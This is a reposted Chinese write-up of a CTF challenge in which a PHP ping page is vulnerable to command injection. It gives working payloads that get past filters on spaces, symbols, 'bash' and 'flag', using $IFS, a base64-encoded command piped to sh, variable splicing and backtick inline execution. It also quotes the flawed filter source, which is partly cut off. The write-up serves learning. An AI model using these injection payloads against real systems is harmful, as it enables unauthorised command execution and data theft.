[GXYCTF2019]Ping Ping Ping


0x00 知識點

命令執行變量拼接

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

過濾bash用sh執行

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

內聯執行

將反引號內命令的輸出作為輸入執行

?ip=127.0.0.1;cat$IFS$9`ls`

0x01 解題

打開題目,聯想到XCTF中的一道題目

命令執行的方法大抵是加上管道符或者分號,那么試試管道符

/?ip=127.0.0.1|ls

看到flag.php
index.php
試着讀flag.php

看到提示空格被ban:

繞過空格的方法大概有以下幾種:

$IFS
${IFS}
$IFS$1 //$1改成$加其他數字貌似都行
< 
<> 
{cat,flag.php}  //用逗號實現了空格功能
%20 
%09 
ps:有時會禁用cat:
解決方法是使用tac反向輸出命令:
linux命令中可以加\,所以甚至可以ca\t /fl\ag

嘗試

發現{被ban
$IFS$1:

flag被ban。。
我們先來試着讀取一下index.php:

/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);}

?>

過濾了許多標點,空格,bash,包括flag的貪婪匹配。那么自己印象中幾種做法:

1.cat fl* 利用*匹配任意 不行
2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl''ag.php 不行

解決辦法:

變量拼接

我們看到源碼中有一個$a變量可以覆蓋

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

官方:
過濾bash?那就用sh。sh的大部分腳本都可以在bash下運行。

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

內聯執行的做法:

?ip=127.0.0.1;cat$IFS$9`ls`

內聯,就是將反引號內命令的輸出作為輸入執行
參考鏈接:
https://www.jianshu.com/p/fd7f9fcc9333


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM